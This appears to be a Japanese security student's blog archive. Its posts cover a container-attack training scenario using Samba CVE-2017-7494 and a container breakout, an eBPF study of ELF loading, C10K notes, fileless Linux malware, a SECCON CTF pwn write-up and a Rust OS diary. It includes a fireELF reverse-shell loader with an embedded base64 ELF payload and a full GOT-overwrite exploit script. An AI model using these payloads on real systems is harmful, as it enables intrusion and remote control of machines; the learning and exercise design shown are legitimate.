サイバーセキュリティ演習のための攻撃シナリオ策定と環境構築【日本総研インターン】
12月7日から12月18日まで,株式会社日本総合研究所で行われたインターンに参加させて頂きました.
やったこと
日本総研のセキュリティ統括部というところに配属されて,「サイバーセキュリティ演習のための攻撃シナリオの策定と環境構築」というテーマに取り組みました.
SMBCグループのような金融機関は特にサイバー攻撃の対象になりやすく,そのため普段からセキュリティ演習が行われています.しかし,環境がWindows中心や有名な脆弱性をつくものが多く,多少偏りがあると言えます.そこで私はLinuxの知識が必要となるような演習で,さらにこれから確実に必要となってくるコンテナセキュリティを絡めたものを作成することにしました.
基本的には,まず攻撃手法の選定を行い,それを基にシナリオの策定と環境の構築を行いました.
攻撃シナリオと演習環境
簡易的ではありますが,下図のような環境を想定しました.
攻撃者は機密情報コンテナにアクセスすることを最終目的とします.
以下が策定した攻撃シナリオです.
PC1ユーザを攻撃者が用意したWebサイトに誘導し,リバースシェルを開かせるマルウェアをダウンロードさせ,実行させる.
PC1を踏み台にし,内部LANからしかアクセスできないSambaコンテナにアクセス.この時Sambaのバージョンは4.5.9であり,CVE-2017-7494という脆弱性をついて,コンテナ内のシェルを取得する.
Sambaコンテナは特権コンテナとして動作しており,
open_by_handle_at()
によってホストのルートディレクトリを開き,ホスト側のシェルを取得する.*1ホスト側のシェルから機密コンテナにアクセスする.(終)
この演習環境のポイント
この演習環境には以下のような脆弱なポイントがあります.
コンテナセキュリティはコンテナの設定,コンテナ上で動くアプリケーション,さらにコンテナランタイム全てを安全な状態にしなければならないです.その事実をこの演習で理解できるような設計になっていると思います.
ハマった点
ハマりポイント1
シナリオ3でホスト側のシェルを取得した後,単にdocker exec -it [機密コンテナ]
とすると,
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
Dockerデーモンはホストでは確実に動いているが,実行が確認できない状態になっています.
これに関しては@mrtc0さんにご相談したところ,ホストのルートディレクトリを開いてはいるものの,名前空間は隔離されている状態になっていることが原因だということがわかりました.
解決策としては,
の2つがまず考えられます.
上のものに関しては簡単に検証できました.下に関して少し詳しく流れを追っていきたいと思います.
まず前提として,Sambaコンテナの他にコンテナを一つ建てて,secret.txt
というファイルを作成しました.
root@vagrant:/home/vagrant# docker run -it centos /bin/bash Unable to find image 'centos:latest' locally latest: Pulling from library/centos 7a0437f04f83: Pull complete Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1 Status: Downloaded newer image for centos:latest [root@3da30ba4241f /]# ls bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var [root@3da30ba4241f /]# echo 'This is secret.' > secret.txt [root@3da30ba4241f /]# ls bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin secret.txt srv sys tmp usr var
次にSambaコンテナをエクスプロイトしてホスト側のファイルシステムを開き,secret.txt
を探索します.
[root@824a6bc898e9 /]# ./a.out <- コンテナブレイクアウトコード opened 4 # whoami root # pwd / # cd /var/lib/docker # ls buildkit containers image network overlay2 plugins runtimes swarm tmp trust volumes # cd overlay2 # find . -name secret.txt ./ac286ee11f15a8dce9f4303e286fc39317c6074b23559241779863c3017a0884/diff/secret.txt find: failed to read file names from file system at or below '.': No such file or directory # cat ac286ee11f15a8dce9f4303e286fc39317c6074b23559241779863c3017a0884/diff/secret.txt This is secret.
このようにして,secret.txt
を読むことができました.
ハマりポイント2(未解決)
※この問題はまだ解決できていません💦
各攻撃シナリオのステージを独立して検証すると,攻撃が成功することを確認しました.
しかし,連続して攻撃をつなげていくとある点でうまくいかないことがわかりました.具体的には攻撃シナリオの1から2にかけての部分で,直接Sambaコンテナを攻撃した場合,リバースシェルを開くことができたのですが,PC1を介した場合,シェルが開くことができませんでした.
Sambaのログを確認したところ,攻撃時にPC1からのアクセスがあったことを確認できたため,この問題はそれ以降のネットワークのルーティングに関する問題ではないかと予想されます.検証としては,wiresharkなどを用いてパケットを確認することが考えられますが,まだできていません.
まとめ
このようにインターンではコンテナセキュリティを絡めた攻撃シナリオ策定と環境構築を行いました.
日本総研・SMBCのサービスにコンテナを用いたシステムはまだ少ないそうなのですが,これから増えると予想されるため,コンテナセキュリティの啓蒙に多少寄与できるような成果物になったと感じています.
金融機関のセキュリティについて興味を持たれている方はぜひ応募してみてください。報酬(時給)も出ます!
参考
open_by_handle_at(2) でコンテナから Break Out する
Sambaの脆弱性〜CVE-2017-7494をやってみる〜 - まったり技術ブログ
execveシステムコールの解明&eBPFでロードされたバイナリを読みたかった(失敗)
前置き
こちらの記事は2020年度のセキュリティ・ネクストキャンプの選考課題だった課題解決の姿勢についての問題で自分が実際に取り組んだ成果物を残すためのものです.
私は,eBPFを用いてファイルレスマルウェアや実行ファイルを削除するマルウェアがプログラムをメモリにロードする際の処理をトレースすることで,どのような処理を行なっているのかわかるのではないかという仮説をたて,その試みをやっていく前段階の疑問として,プログラムがどのようにしてメモリにロードされるのか調べ,その後実際にロードを行っている関数をeBPFによってフックしました.
先日GMOペパボ株式会社様のインターンでeBPFのツールの開発を行ったのですが,これはそれより少し前に取り組みました.
本題
ここからは実際に提出したものを少し編集したものです.
まずプログラムを実行するシステムコールであるexecveのソースコードの調査を行う.
~/linux/arch/x86
以下でexecve
をキーワードにして検索してみる
vagrant@vagrant:~/linux/arch/x86$ grep -r execve . ./include/asm/elf.h: /* ax gets execve's return value. */ ./include/asm/mmu_context.h: * and on mm's that are brand-new, like at execve(). ./xen/mmu_pv.c: /* pgd may not be pinned in the error exit path of execve */ ./um/sys_call_table_64.c:#define stub_execve sys_execve ./um/sys_call_table_64.c:#define stub_execveat sys_execveat ・・・
上の中で
./entry/syscalls/syscall_64.tbl:59 64 execve sys_execve
という記述があり,execve
はsys_execve
というものがエントリーポイントとして設定されていることがわかった.
それを踏まえて ~/linux
下で
vagrant@vagrant:~/linux$ grep -r sys_execve .
とすると,
./fs/exec.c: * sys_execve() executes a new program.
という記述が見つかったが,見てみるとこの部分はコメントで実際にはsys_execve()
の定義がなかったため少しググってみると,LinuxのシステムコールはSYSCALL_DEFINEnマクロ
を用いて定義され,実際にfs/exec.c
に
SYSCALL_DEFINE3(execve, const char __user *, filename, const char __user *const __user *, argv, const char __user *const __user *, envp) { return do_execve(getname(filename), argv, envp); }
という記述があり,do_execve()
という関数を読んでいることが分かる.
static int do_execve(struct filename *filename, const char __user *const __user *__argv, const char __user *const __user *__envp) { struct user_arg_ptr argv = { .ptr.native = __argv }; struct user_arg_ptr envp = { .ptr.native = __envp }; return do_execveat_common(AT_FDCWD, filename, argv, envp, 0); }
do_execve()
では__argv
と__envp
をstruct user_arg_ptr
に格納した後,do_execveat_common()
という関数を呼び出している.
#define AT_FDCWD -100 /* Special value used to indicate openat should use the current working directory. */
AT_FDCWD
はinclude/uapi/linux/fcntl.h
に定義されていて,コメントからopenat
が現在の作業ディレクトリを使用することを示すために使用される特別な値であることが分かる.
static int do_execveat_common(int fd, struct filename *filename, struct user_arg_ptr argv, struct user_arg_ptr envp, int flags) { /* 略 */ retval = bprm_execve(bprm, fd, filename, flags); /* 略 */ }
fd
にはAT_FDCWD
,flags
に0が格納されている.
do_execveat_common()
中ではいくつか引数や,フラグの検査などが行われた後,bprm_execve()
という関数を読んでいることが分かった.
static int bprm_execve(struct linux_binprm *bprm, int fd, struct filename *filename, int flags) { /* 略 */ file = do_open_execat(fd, filename, flags); /* 略 */ bprm->file = file; /* 略 */ retval = exec_binprm(bprm);
bprm_execve()
中でもいくつかの処理が行われていたが,その中でも上の3つがどのようにプログラムがロードされるのかという点で重要だと感じた.
まず,do_open_execat()
でファイルが開かれ,戻り値がbprm->file
に格納され,そのbprm
を引数にexec_binprm()
が呼ばれている.
static int exec_binprm(struct linux_binprm *bprm) { /* 略 */ ret = search_binary_handler(bprm);
exec_binprm()
ではsearch_binary_handler()
という関数が呼ばれていた.
static int search_binary_handler(struct linux_binprm *bprm) { /* 略 */ list_for_each_entry(fmt, &formats, lh) { if (!try_module_get(fmt->module)) continue; read_unlock(&binfmt_lock); retval = fmt->load_binary(bprm); read_lock(&binfmt_lock); put_binfmt(fmt); if (bprm->point_of_no_return || (retval != -ENOEXEC)) { read_unlock(&binfmt_lock); return retval; } }
list_for_each_entry()
の部分の処理が何を行っているかわからなかったため,調べてみるとformats
リストに登録されたハンドラの中から,ファイルにマッチするものを選んで実行しているようで,ファイルのフォーマットがELFならば,
static struct linux_binfmt elf_format = { .module = THIS_MODULE, .load_binary = load_elf_binary, .load_shlib = load_elf_library, .core_dump = elf_core_dump, .min_coredump = ELF_EXEC_PAGESIZE, };
というハンドラが呼び出される.
つまりfmt->load_binary()
はload_elf_binary()
という関数が呼び出される.
このことからsearch_binary_handler()
はファイルのフォーマットに対応したハンドラを見つける関数であると思われる.
/* Now we do a little grungy work by mmapping the ELF image into the correct location in memory. */ for(i = 0, elf_ppnt = elf_phdata; i < elf_ex->e_phnum; i++, elf_ppnt++) { int elf_prot, elf_flags; unsigned long k, vaddr; unsigned long total_size = 0; if (elf_ppnt->p_type != PT_LOAD) continue; /* 略 */ elf_prot = make_prot(elf_ppnt->p_flags, &arch_state, !!interpreter, false); elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE; vaddr = elf_ppnt->p_vaddr; /* * If we are loading ET_EXEC or we have already performed * the ET_DYN load_addr calculations, proceed normally. */ if (elf_ex->e_type == ET_EXEC || load_addr_set) { elf_flags |= MAP_FIXED; } else if (elf_ex->e_type == ET_DYN) { /* 略 */ } error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags, total_size);
上のコードはload_elf_binary()
の定義の中の一節である.この部分では最初のコメントにあるように,
ELFイメージをメモリにマッピングしているようだ.
elf_phdata
というのがELFのプログラムヘッダを指す変数でforループでプログラムヘッダのタイプそれぞれに対して処理を行っている.このforループでは,プログラムヘッダのタイプがPT_LOAD
ではない場合スキップされる.
elf_prot
はmake_prot()
でプログラムヘッダのフラグに応じて,read属性,write属性,exec属性を付与されている.
static inline int make_prot(u32 p_flags, struct arch_elf_state *arch_state, bool has_interp, bool is_interp) { int prot = 0; if (p_flags & PF_R) prot |= PROT_READ; if (p_flags & PF_W) prot |= PROT_WRITE; if (p_flags & PF_X) prot |= PROT_EXEC; return arch_elf_adjust_prot(prot, arch_state, has_interp, is_interp); }
elf_flagsとvaddrは以下のように設定されている.
elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE; vaddr = elf_ppnt->p_vaddr;
if (elf_ex->e_type == ET_EXEC || load_addr_set) { elf_flags |= MAP_FIXED; } else if (elf_ex->e_type == ET_DYN) { /* 略 */ }
次の部分ではオブジェクトファイルのタイプによって処理を行っている.
今回は実行ファイルを前提に処理を追っていきたいため,上の部分だけを考慮する.
e_type
がET_EXEC
であればelf_flags
にMAP_FIXED
を立てる.これはマッピング時に指定されるアドレスをそのまま使用して配置することを意味するそうだ.
またET_DYN
は共有オブジェクトを意味し,その場合,バイナリのランダム化のための値をload_bias
に保存し,ELFマッピングの全体のサイズをtotal_size
に保存することがソースのコメントからわかった.
error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags, total_size);
最後にelf_map()
という関数が実行されている.
おそらくこれはmmap
というシステムコールを使った関数であると名前から推測される.
mmap
システムコールはファイルやデバイスを仮想アドレス空間にマッピングするシステムコールであり,マッピングとは割り当てるだけで実際にデータのコピーが発生することがない(おそらく)ため,高速にファイルの読み書きが行えるようである.
以上の調査からプログラムが実行された時,プログラムがメモリにロードされる手順は以下のように行われることがわかった.
1.execve
システムコールが呼ばれると,SYSCALL_DEFINEnマクロ
によりdo_execve()
が実行され,以降いくつかの関数の中で各種設定や引数,フラグの検査などが行われた後,実行ファイルのフォーマットに合わせたバイナリハンドラが実行される.
2.ELFの場合,ハンドラはload_elf_binary()
であり,その中でプログラムヘッダが指し示すセグメントごとに仮想メモリ空間にマッピングされる.
以上の調査から,おそらくmmap
システムコールをフックすることでバイナリのメモリロードを覗き見ることができると予測し,
以下のeBPFのためのコードを作成した.
from bcc import BPF bpf_code = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> int kprobe_mmap(struct pt_regs *ctx) { int length = (int)PT_REGS_PARM2(ctx); int prot = (int)PT_REGS_PARM3(ctx); int fd = (int)PT_REGS_PARM5(ctx); u64 id = bpf_get_current_pid_tgid(); bpf_trace_printk("mmap():\\n"); bpf_trace_printk(" + pid: %d\\n", id); bpf_trace_printk(" + length: %d\\n", length); bpf_trace_printk(" + prot: %d\\n", prot); bpf_trace_printk(" + fd: %d:\\n", fd); return 0; } int kretprobe_mmap(struct pt_regs *ctx) { u64 id = bpf_get_current_pid_tgid(); void *addr = (void *)PT_REGS_RC(ctx); bpf_trace_printk("ret mmap():\\n"); bpf_trace_printk(" + pid: %d\\n", id); bpf_trace_printk(" + addr: %x\\n", addr); return 0; } """ bpf = BPF(text = bpf_code) sysmmap_name = bpf.get_syscall_fnname("mmap") print(sysmmap_name, sysopenat_name) bpf.attach_kprobe(event = sysmmap_name, fn_name = "kprobe_mmap") bpf.attach_kretprobe(event = sysmmap_name, fn_name = "kretprobe_mmap") bpf.trace_print()
簡単に説明すると,mmapシステムコールの入り口と出口にフックポイントを設け,入り口ではファイルディスクリプタfd
と,メモリ属性prot
,サイズlength
を,出口では結果のアドレスaddr
を取得して出力するプログラムとなっている.これを実際に動かし,その後以下のような,何も行わない実験プログラムを実行してみた.
int main() { return 0; }
vagrant@vagrant:~/ebpf$ file ./test ./test: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=b9ccc761cfe472e9b2d62c55cf3ec3c66cbbe58f, not stripped
実験プログラムを実行した結果,eBPFプログラムは何も出力を行わなかった.何も出力しないということは,mmapシステムコールが呼ばれていないということになる. そこであることに気づいた.
システムコールとはユーザ空間のアプリケーションがOSの機能を使用するために,カーネルに対して発行するものであり,システムコールが発行されると,処理はカーネルへと移り,カーネル空間で処理が行われる.その中でファイルディスクリプタが示すデータをメモリにマッピングする必要が出たとしても,既にカーネル内で処理を行っているため,システムコールを発行する必要はなく,続けてその処理を行うのではないか.
そこで次は,elf_map()の入り口の出口にフックポイントを設けて,同じように監視するeBPFプログラムを作成した.
from bcc import BPF bpf_code = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> int kprobe__elf_map(struct pt_regs *ctx) { int length = (int)PT_REGS_PARM5(ctx); int prot = (int)PT_REGS_PARM4(ctx); u64 id = bpf_get_current_pid_tgid(); bpf_trace_printk("elf_map():\\n"); bpf_trace_printk(" + pid: %d\\n", id); bpf_trace_printk(" + length: %d\\n", length); bpf_trace_printk(" + prot: %d\\n", prot); return 0; } int kretprobe__elf_map(struct pt_regs *ctx) { u64 id = bpf_get_current_pid_tgid(); void *addr = (void *)PT_REGS_RC(ctx); bpf_trace_printk("ret elf_mmap():\\n"); bpf_trace_printk(" + pid: %d\\n", id); bpf_trace_printk(" + addr: %x\\n", addr); return 0; } """ bpf = BPF(text = bpf_code) bpf.trace_print()
(kprobe__[カーネル関数]
とすることで,bpf.attach_kprobe()
としなくてもアタッチされることを知った.)
このeBPFプログラムを実行し,先ほどの何も行わない実験プログラムを動かすことで今度は以下のような結果が出力された.
b' test-14049 [000] .... 28160.483994: 0x00000001: elf_map():' b' test-14049 [000] .N.. 28160.484006: 0x00000001: + pid: 14049' b' test-14049 [000] .N.. 28160.484006: 0x00000001: + length: 6162' b' test-14049 [000] .N.. 28160.484007: 0x00000001: + prot: 5' b' test-14049 [000] d... 28160.486370: 0x00000001: ret elf_mmap():' b' test-14049 [000] d... 28160.486377: 0x00000001: + pid: 14049' b' test-14049 [000] d... 28160.486378: 0x00000001: + addr: 400000' b' test-14049 [000] .N.. 28160.486390: 0x00000001: elf_map():' b' test-14049 [000] .N.. 28160.486390: 0x00000001: + pid: 14049' b' test-14049 [000] .N.. 28160.486391: 0x00000001: + length: 6162' b' test-14049 [000] .N.. 28160.486391: 0x00000001: + prot: 3' b' test-14049 [000] d... 28160.487459: 0x00000001: ret elf_mmap():' b' test-14049 [000] d... 28160.487464: 0x00000001: + pid: 14049' b' test-14049 [000] d... 28160.487465: 0x00000001: + addr: 6b6000'
prot
フラグのビットの順番の定義がわからなかったため,確かではないが,
恐らく上のelf_map()
がPROT_EXEC
とPROT_READ
のセグメントで,下がPROT_READ
とPROT_WRITE
のセグメントにバイナリをロードしているものと思われる.(実際,上のret elf_mmap()
のアドレスが400000
となっており,これはよく目にするスタートアドレス0x400000
だと思われる.)
次に得られたアドレスの値を出力させようとしたが,0としか表示されず,プログラムのバイナリデータを見ることが出来なかった. 原因としては,何らかのアクセス制限機構などが働いていることも考えられるが,今のところ不明である.
まとめ
以上が取り組んだ内容である.その後できなかったことを含めて色々わかれば良いなと思いながら,インターンに参加した.
インターンの記事はこちら udon-yuya.hatenablog.com
セキュリティ・ネクストキャンプ頑張りたい.
GMOペパボサマーインターン2020研究開発コースに参加しました
9/8~10までGMOペパボさんのサマーインターンに参加し,自分は研究開発コースでeBPFのツールを開発してきました.
参加の経緯
研究室の同期の@terassyiにこのインターンを教えてもらい,ちょうど卒研でシステムコールを使ったマルウェア検知の研究を行っていたので,即応募しました.
インターンでやったこと
主題としてはeBPFを使ったツールを開発することでした,私はセキュリティ面でのeBPFの利用として,execve()で実行されるバイナリの解析を行いました.元々ファイルレスマルウェアなどのファイルを持たず解析を受けにくいマルウェアに対して,プログラムの実行時にカーネルで検査を行うというアイディアを持っていたので,eBPFを使えばそれが実現できるのではないかと考えました.
1日目
まずエンジニアとはという講義を受けたのち,公式のチュートリアルをやっていきました.
多分Lesson10くらいまでやった気がします.
2日目
午前中はチュートリアルをやり,午後から個人テーマを決めてそれに取り組んでいきました.
3日目
ギリギリまで個人テーマをやっていき,最後に発表会.オンラインでなかなか様子が分からなかったけど,他のコースの方々はチームで素晴らしいものを作られてました.
ランチ・懇親会
ランチや懇親会ではコース関係なく,また今年新卒で入社した方々など多くの人と交流できる場を設けてくださいました.お互いをあだ名で呼び合うという文化を始めとして,パートナーの方々がとても仲が良いことが印象に残り,会社の環境・雰囲気を知ることができるとても貴重な時間でした.
成果
元々は実行時にバイナリ全体を解析するようなツールを脳内で描き,バイナリをメモリにロードするカーネル関数をフックしてバイナリの内容を見るというツールを開発しようとしましたが,なぜかそれが実現できませんでした.(ここの原因はいまだに不明...)
そこで今回はプログラムが実行された時にそのプログラムのフォーマットがELFなのか,scriptなのかを判定するツールを作成しました.これはそれまでの試行錯誤の中でわかった,プログラムはどういうフォーマットであってもexecveによって実行され,その中でそれぞれのフォーマットに合わせた処理に分岐していくというカーネルの処理を利用して判定しています.
CODEはscriptのshebangの内容を表示しています.
まとめ
Linuxカーネルの知識が足りておらず,自分の思った通りのツールを作ることができなかったため,少し悔しさが残るインターンではありましたが,得られたものはそれ以上に多く,本当に参加できて良かったと思います.
今後は各方面の知識をさらに高め,ツールの開発に取り組んでいきたいと思います.
謝辞
最後になりましたが,インターン生のために多くの時間を割いていただいたGMOペパボのパートナーの方々には本当に感謝しています.特に個人的にはYoutube上でしか見たことがなかった@udzuraさんと一緒にカーネルのソースを読めたのが一番エキサイティングなことでした,お世話になりました.ありがとうございました.
【勉強メモ】C10K問題【マルチプロセス・マルチスレッド】
はじめに
この記事は自分の勉強のメモとして残します。
C10K問題とは
C10K問題(英語: C10K problem)とは、Apache HTTP ServerなどのWebサーバソフトウェアとクライアントの通信において、クライアントが約1万台に達すると、Webサーバーのハードウェア性能に余裕があるにも関わらず、レスポンス性能が大きく下がる問題である。
ja.wikipedia.org
原因
- プロセス数の上限に達する
Apacheは一つのリクエストに1つのプロセスを対応させる。32bit Linuxではプロセス数は32767が上限であるため、それ以上のリクエストが受け付けられなくなる。
- コンテキストスイッチのコストが増大
コンテキストスイッチとは1つのCPUが複数のプロセスを並行処理するために、それまでの処理の内容を保存し、
新しい処理の内容を復元すること。1リクエスト1プロセス方式では、リクエストが増えるとプロセスも増えるため、
コンテキストスイッチのコストが無視できなくなる。
上の二つの問題はシングルプロセス・マルチスレッドにすればかなり軽減されるらしいが、それでも以下のような問題が残る。
(※プロセスのコンテキストスイッチはメモリ空間の切り替えを行わなければならないためコストが高い。一方マルチスレッドだとメモリ空間は共有しているため、メモリ空間切り替えの必要がない。)
- ファイルディスクリプタの上限に達する
1プロセス当たりのファイルディスクリプタの上限は基本的には1024となっていて、マルチスレッドでリクエストごとに例えばDBサーバに接続することとなると、その分だけファイルディスクリプタを消費してしまう。
解決策【Nginx】
Nginxとは従来のWebサーバのようなマルチプロセスやマルチスレッドでリクエストに対応する手法ではなく、一つのプロセスで複数のリクエストを1スレッドで処理する手法を採用している。(実際にはコアの数程度のプロセスを生成するマルチプロセスではあるようだ。)
また何かしらのイベントが発生するまで待機し、発生したイベントによって処理を行うイベント駆動という手法や、リクエストを順番通りではなく効率的に行う非同期処理という手法も採用している。
イベント駆動についてはこれがわかりやすかった。
https://openstandia.jp/pdf/140228_osc_seminar_ssof8.pdf
Linuxファイルレスマルウェア手法の調査
ファイルレスマルウェアについて興味を持っていて,軽く調査したのでメモとして残します.
どのようにしてファイルレスにするか
Linuxにはmemfd_createというRAM上に無名ファイル(anonymous file)という一時的なファイルを作成し,そのファイルを参照するファイルディスクリプタを返すシステムコールがある.マルウェアはこのシステムコールを利用してメモリ上にファイルを作り,そのファイルにペイロードを流し込み,そしてfexecveというファイルディスクリプターで指定されたプログラムを実行する関数で実行させるという仕組みだそうです.
fireELF
fireELFとはファイルレスマルウェアを作成することができるフレームワークです.
YoutubeにfireELFを使ってリバースシェルのペイロードをファイルレスにする動画がありました.
この動画の通りに進めていって,最終的にfireELFで出来上がったペイロードが↓
import ctypes, os, urllib2, base64; libc = ctypes.CDLL(None); argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])); syscall = libc.syscall; fexecve = libc.fexecve; content = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAVs8CoOHJRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="); fd = syscall(319, "", 1); os.write(fd, content); fexecve(fd, argv, argv):
contentをデコードすると↓
b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00|\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffj\tX\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05H\x85\xc0xQj\nAYPj)X\x99j\x02_j\x01^\x0f\x05H\x85\xc0x;H\x97H\xb9\x02\x00\x15\xb3\xc0\xa88rQH\x89\xe6j\x10Zj*X\x0f\x05YH\x85\xc0y%I\xff\xc9t\x18Wj#Xj\x00j\x05H\x89\xe7H1\xf6\x0f\x05YY_H\x85\xc0y\xc7j<Xj\x01_\x0f\x05^j~Z\x0f\x05H\x85\xc0x\xed\xff\xe6'
おそらくELFのコードなのかなと思います.
疑問
anonymous fileって正規の使い方だとどういう時に使うんだ??
SECCON Beginners CTF 2020 flip 勉強
この記事は本大会で自分が解けなかった問題flipの復習です.
ガッツリ参考
概要
ユーザが指定したアドレスから1バイト分の領域の中で,2ビットだけ反転するプログラム.指定するbitを負数にすれば,反転しないこともできる.
流れ
関数ポインタを書き換えて任意の関数のものと入れ替える.
1.exit
のGOTを書き換えて_start+6
を刺すようにすることで無限ループするようにする.その後start+6
を_start
に書き換える.
2.libcのベースアドレスのリークを行う.
先ほどと同じように今度は,setbuf
をputs
に向ける.
上図の2回目のsetbuf
の第1引数であるstderr
の8byte先には_IO_read_ptr
があるので,puts
によって出力されlibcアドレスの特定ができる.
この書き換えを行うには注意がいる.書き換えが1回のループでは行えないため,そのまま行うと書き換え途中のsetbuf
が呼ばれてしまう.
そこで,未使用の__stack_chk_fail
を利用する.これをmain関数の先頭に書き換え,exit
のGOTを__start_chk_fail
のPLTにすることでsetbuf
を呼ばずにループされるようになる.
この間にsetbuf
のGOTとstderrのポインタを書き換える.その後,exit
を_start
に戻すことで,setbuf
が呼ばれ,libcアドレスのリークが成功する.
3.setbuf
をputs
にしたのと同じように,setbuf
のGOTをsystem
に向け,stderrのポインタを/bin/sh
に向ける.今回も一度では書き換えれないため,先ほどと同じようにexit
を__stack_chk_fail
に向けて書き換えを行う.終えたら,戻してシェルが取れて終了.
コード
from pwn import * def flip_byte(address, flips): s.sendlineafter(">> ", str(address)) n_flip = 0 for i in range(8): if (flips >> i) & 1: s.sendlineafter(') >> ', str(i)) n_flip += 1 flips ^= 1 << i if n_flip > 1: break if flips: flip_byte(address, flips) elif n_flip < 2: s.sendlineafter(') >> ', '-1') def flip_qword(address, flips): for i in range(8): if flips & 0xff: flip_byte(address+i, flips & 0xff) flips >>= 8 elf = ELF("./flip") libc = ELF("./libc-2.27.so") #s = process("./flip") s = remote('flip.quals.beginners.seccon.jp', 17539) addr_got_exit = elf.got['exit'] addr_plt_exit = elf.plt['exit'] addr_start = elf.functions['_start'].address addr_main = elf.functions['main'].address addr_got_setbuf = elf.got['setbuf'] addr_plt_stack_chk = elf.plt['__stack_chk_fail'] addr_got_stack_chk = elf.got['__stack_chk_fail'] addr_stderr = elf.symbols['stderr'] offset_libc_setbuf = libc.functions['setbuf'].address offset_libc_puts = libc.functions['puts'].address offset_libc_stderr = libc.symbols['_IO_2_1_stderr_'] # Get infinite flip flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6 flip_byte(addr_got_exit, 6) # exit --> start flip_qword(addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_byte(addr_stderr, 8) flip_qword(addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) print(s.recvuntil('\n')) print(s.recvuntil('\n')) addr_libc_stderr = u64(s.recvuntil('\n')[:-1] + b'\x00'*2) - 0x83 #addr_libc_stderr = int(s.recvuntil('\n')[:-1], 16) - 0x83 addr_libc_base = addr_libc_stderr - offset_libc_stderr print("addr_libc_base = ", hex(addr_libc_base)) addr_libc_puts = addr_libc_base + libc.functions['puts'].address addr_libc_system = addr_libc_base + libc.functions['system'].address addr_libc_str_sh = addr_libc_base + next(libc.search(b'/bin/sh')) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_qword(addr_got_setbuf, addr_libc_puts ^ addr_libc_system) flip_qword(addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) s.interactive()
flip_byte()
の軽い説明
最初に行うexit
の書き換えを使って説明を行う.
flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6
はじめはまだexit
は呼ばれていないためGOTは<exit@plt>+6
(0x4006d6)を指しており,_start+6
(0x4006e6)と値が似ているため書き換えれる.お互いの排他的論理和を計算し,結果は末尾1バイトにだけ1が現れるはずなのでそれ以外を捨てて,引数として格納する.その後.forループで先ほどのflips引数を確認し,1のところだけを入れ替える.
30日OSをRustで書く(16日目)
前回実装したマルチタスクを使いやすくする.
やったこと
・3つ以上のタスクを扱えるようにする.
・タスクをスリープできるようにする.
・タスクに優先順位をつける.
→・それぞれのタスクの一度に処理できる時間を設定する.(優先度が高いタスクは比較的長い時間実行される.)
・タスクを優先度でグループ分けし,一番上のタスクたちだけを実行する.
実装については本の内容と大きく変わるようなことは行っていないため省略.
バグについては後日直したい.